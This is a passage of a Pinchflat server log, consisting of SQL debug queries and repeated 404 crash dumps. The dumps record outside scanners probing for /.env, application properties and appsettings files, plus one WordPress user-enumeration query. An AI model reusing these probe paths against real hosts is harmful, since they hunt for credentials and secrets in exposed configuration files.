"https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application-dev.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control (truncated) 15:21:56.538 [info] GET /.env 15:21:56.538 [debug] QUERY OK source="settings" db=0.1ms idle=295.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.538 [debug] QUERY OK source="settings" db=0.0ms idle=295.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.538 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:56.538 [error] #PID<0.9704.0> running PinchflatWeb.Endpoint (connection #PID<0.9703.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50676}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0", "x-forwarded-for" => "31.56.58.134", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.134" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9704.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0"}, {"x-forwarded-for", "31.56.58.134"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "31.56.58.134"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBRuKGu1SSfwAAcwC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50676}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0", "x-forwarded-for" => "31.56.58.134", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.134" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50676}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0", "x-forwarded-for" => "31.56.58.134", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.134" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9704.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0"}, {"x-forwarded-for", "31.56.58.134"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "31.56.58.134"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBRuKGu1SSfwAAcwC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack (truncated) 15:21:56.718 [info] GET /application-prod.properties 15:21:56.718 [debug] QUERY OK source="settings" db=0.1ms idle=237.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.718 [debug] QUERY OK source="settings" db=0.0ms idle=237.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.718 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:56.719 [error] #PID<0.9706.0> running PinchflatWeb.Endpoint (connection #PID<0.9705.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /application-prod.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application-prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application-prod.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50690}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9706.0>, params: %{}, path_info: ["application-prod"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application-prod.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBSZFrS8aNdsAAcxC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application-prod.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50690}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application-prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9705.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application-prod.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50690}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9706.0>, params: %{}, path_info: ["application-prod"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application-prod.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cac (truncated) 15:21:56.780 [info] GET / 15:21:56.780 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"rest_route" => "/wp/v2/users/"} Pipelines: [:browser] 15:21:56.780 [debug] QUERY OK source="settings" db=0.1ms idle=266.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.780 [debug] QUERY OK source="media_profiles" db=0.0ms idle=242.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:21:56.781 [debug] QUERY OK source="sources" db=0.0ms idle=242.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:21:56.783 [debug] QUERY OK source="media_items" db=2.1ms idle=62.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:56.783 [debug] QUERY OK source="media_items" db=0.2ms idle=64.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:56.783 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.783 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.784 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.784 [debug] QUERY OK source="media_items" db=0.2ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:56.786 [debug] QUERY OK source="media_items" db=1.4ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:21:56.786 [debug] QUERY OK source="sources" db=0.0ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:21:56.788 [debug] QUERY OK source="media_items" db=1.5ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:21:56.790 [debug] QUERY OK source="media_items" db=1.6ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:21:56.791 [debug] QUERY OK source="tasks" db=0.1ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:21:56.791 [info] Sent 200 in 11ms 15:21:56.957 [info] GET /appsettings.json 15:21:56.958 [debug] QUERY OK source="settings" db=0.1ms idle=171.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.958 [debug] QUERY OK source="settings" db=0.0ms idle=171.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.958 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:56.958 [error] #PID<0.9710.0> running PinchflatWeb.Endpoint (connection #PID<0.9709.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /appsettings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /appsettings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50700}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9710.0>, params: %{}, path_info: ["appsettings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/appsettings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBTSJU3MKpHQAAc6C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50700}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /appsettings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50700}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; 